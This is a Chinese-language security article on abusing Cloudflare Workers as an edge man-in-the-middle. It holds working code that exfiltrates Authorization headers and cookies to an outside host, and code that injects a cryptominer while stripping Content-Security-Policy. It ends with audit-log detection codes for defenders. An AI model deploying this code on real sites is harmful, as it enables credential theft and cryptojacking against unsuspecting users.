边缘中间人攻击:滥用Cloudflare Workers
Cloudflare Workers简介
Cloudflare Workers提供了一个强大的无服务器解决方案,可在每个HTTP请求和响应之间运行代码。这不是Cloudflare或Cloudflare Workers的漏洞,而是由Workers的设计以及更广泛的"边缘无服务器计算"模型所实现的可能性。
Cloudflare Workers允许在Cloudflare的边缘服务器上透明地部署无服务器代码,支持JavaScript/TypeScript或Python等多种语言。
创建恶意Cloudflare Worker
首先创建一个基础的Worker,它暂时不执行任何操作,只是位于HTTP请求和响应之间:
1
2
3
4
5
6
7
8
|
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, request) {
// 代理请求
return fetch(request);
}
|
使用Cloudflare wrangler CLI将其部署到Cloudflare:
1
|
$ wrangler publish worker.js
|
然后通过新的DNS记录或路由模式触发Cloudflare Worker,或者使用Cloudflare API:
1
2
3
4
5
|
curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
-H "X-Auth-Email: $CF_EMAIL" \
-H "X-Auth-Key: $CF_API_KEY" \
-H "Content-Type: application/json" \
--data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'
|
攻击技术详解
窃取授权令牌
当HTTP请求中包含Authorization头时,窃取凭据并发送到攻击者控制的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
async function handleRequest(event, request) {
await stealAuthorizationHeader(request);
return fetch(request);
}
async function stealAuthorizationHeader(request) {
const authz = request.headers.get("Authorization")
if (authz) {
await log(`authorization header: ${authz}`)
}
}
async function log(data) {
// 将任意数据发送到远程攻击者控制的服务器
await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}
|
窃取Cookie
Cookie通常包含可用于冒充用户身份的会话标识符:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
async function handleRequest(event, request) {
await stealAuthorizationHeader(request);
response = await fetch(request);
await stealCookies(request, response);
return response;
}
async function stealCookies(request, response) {
cookies = response.headers.get("Set-Cookie")
if (cookies) {
await log(`cookies sent by server: ${cookies}`);
}
cookies = request.headers.get("Cookie")
if (cookies) {
await log(`cookies sent by client: ${cookies}`);
}
}
|
注入恶意JavaScript代码
在每个页面中注入挖矿脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
async function injectMaliciousScript(originalResponse) {
// 仅在HTML响应中注入脚本
if (!originalResponse.headers.get("Content-Type").includes("html")) {
return originalResponse;
}
originalHtml = await originalResponse.text();
// 要注入的恶意脚本
const script = `
<script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
<script>
server = "wss://f.xmrminingproxy.com:8181";
var pool = "moneroocean.stream";
var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
var workerId = ""
var threads = -1;
var password = "x";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
</script>
`
modifiedHtml = originalHtml.replace("</body>", script + "</body>")
modifiedResponse = new Response(modifiedHtml, originalResponse)
// 移除任何会阻止我们脚本的内容安全策略
if (modifiedResponse.headers.get("Content-Security-Policy")) {
modifiedResponse.headers.delete("Content-Security-Policy")
}
return modifiedResponse
}
|
其他滥用潜力
- 选择性目标定位:基于客户端IP或平台表现不同行为
- 网络钓鱼:透明代理到合法网站的请求,实时重写响应链接并窃取凭据
- 重写支付信息:等待响应中出现类似IBAN或加密货币地址的内容,并用攻击者拥有的地址替换
检测Cloudflare账户中的恶意活动
Cloudflare提供控制平面的审计日志,可用于识别可疑活动:
事件 |
事件代码 |
创建新Worker |
script_create |
Worker绑定到路由 |
route_create |
创建DNS记录 |
rec_add |
创建用户API令牌 |
token_create |
轮换用户API令牌 |
token_roll |
查看账户范围的API令牌 |
API_key_view |
成功登录Cloudflare仪表板 |
login |
实际滥用案例
- 2021年12月:攻击者入侵了Badger的Cloudflare API密钥,通过Cloudflare Workers在app.badger.com的HTML中注入恶意脚本
- 2020年:Sucuri报告韩国攻击者使用Cloudflare Worker在请求者是搜索引擎时动态向网页添加链接
结论
攻击者将继续利用Cloudflare Workers进行恶意活动,包括注入恶意JavaScript有效负载和泄露敏感数据。蓝队应确保其Cloudflare账户得到适当保护并监控可疑活动。